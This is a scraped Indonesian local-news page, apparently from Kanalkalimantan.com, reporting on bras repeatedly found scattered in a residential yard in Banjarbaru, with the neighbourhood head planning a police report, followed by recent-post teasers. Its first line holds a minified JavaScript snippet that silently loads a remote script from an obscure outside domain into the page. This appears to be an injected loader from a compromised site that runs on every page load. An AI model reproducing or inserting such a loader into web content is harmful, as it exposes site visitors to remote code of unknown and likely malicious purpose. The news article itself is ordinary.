(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ketiga Kalinya Kutang Berceceran di Halaman Rumah Warga di Banjarbaru, Ketua RT Akan Laporkan ke Polisi


BANJARBARU, Masyarakat dibuat heran dengan adanya kejadian di komplek Mustika Graha Asri, RT 011/001, Jalan Karang Anyar I, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru.

Pasalnya, Kamis (28/11) pagi kemarin, warga yang bertempat tinggal disana dikagetkan dengan adanya temuan kutang wanita tercecer di halaman rumah salah satu warga. Walhasil, temuan ini pun menjadi viral. Foto yang menampilkan kutang tercecer tersebut, tersebar diberbagai sosial media baik Facebook maupun Instagram.

Namun Ketua RT setempat, Muhammad Husni, justru sangat menyayangkan kejadian di kompleknya tersebut malah dibesar-besarkan. Apalagi, temuan kutang ini dibilang meneror warganya.

“Saya menyayangkan dan prihatin temuan kutang ini kenapa harus dibuat viral. Padahal belum tentu kutang itu diletakan dengan sengaja. Siapa tau cuma tercecer saja,” katanya kepada Kanalkalimantan.com, Jumat (29/11).

Diakui Husni jika temuan kutang tersebut bukanlah pertama kali terjadi di kompleknya. Ia mengungkapkan bahwa kejadian serupa juga terjadi beberapa minggu sebelumnya. Bahkan, jumlah kutang yang ditemukan pun sama persis yakni berjumlah dua lembar.

“Jadi, temuan kutang Kamis kemarin itu kejadian yang ketiga. Kejadian yang pertama dan kedua, warganya tidak ada lapor ke saya (ketua RT). Baru di kejadian ketiga ini saja baru warga lapor,” jujurnya.

Saat ini, Husni juga telah meminta warganya untuk mengumpulkan semua kutang yang ditemukan. Dirinya juga berencana akan melaporkan kejadian ini ke Pihak Kepolisian.

“Saya sudah meminta warga untuk mengumpulkan semua kutang yang ditemukan. Kita akan laporkan kejadian ini ke pihak kepolisian untuk diselidiki,” pungkasnya.

Sebelumnya, dua lembar kutang wanita ditemukan di halaman garasi rumah milik Hamdani warga  komplek Mustika Graha Asri, RT 011/001, pada Kamis (28/11) sekitar pukul 07.00 wita. Sampai saat in, belum diketahui mengapa dua lembar kutang dengan corak yang berbeda ini, tergeletak di halaman rumah warga.

Sementara itu, pihak Kepolisian sendiri masih belum menerima laporan dari warga terkait temuan tersebut.

Kapolsek Banjarbaru Kota Kompol Purbo Raharjo melalui Kasi Humas Aipda Ahmad Supriyanto mengatakan kejadian ini tengah diselidiki petugas kepolisian yang betugas di Kelurahan tersebut.

“Ya, kita sudah mendengar kabar ini. Tapi sampai saat ini belum ada satupun warga yang melaporkan. Untuk saat ini kita serahkan ke petugas Bhabinkamtibmas yang bertugas disana,” tandasnya. (Rico)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.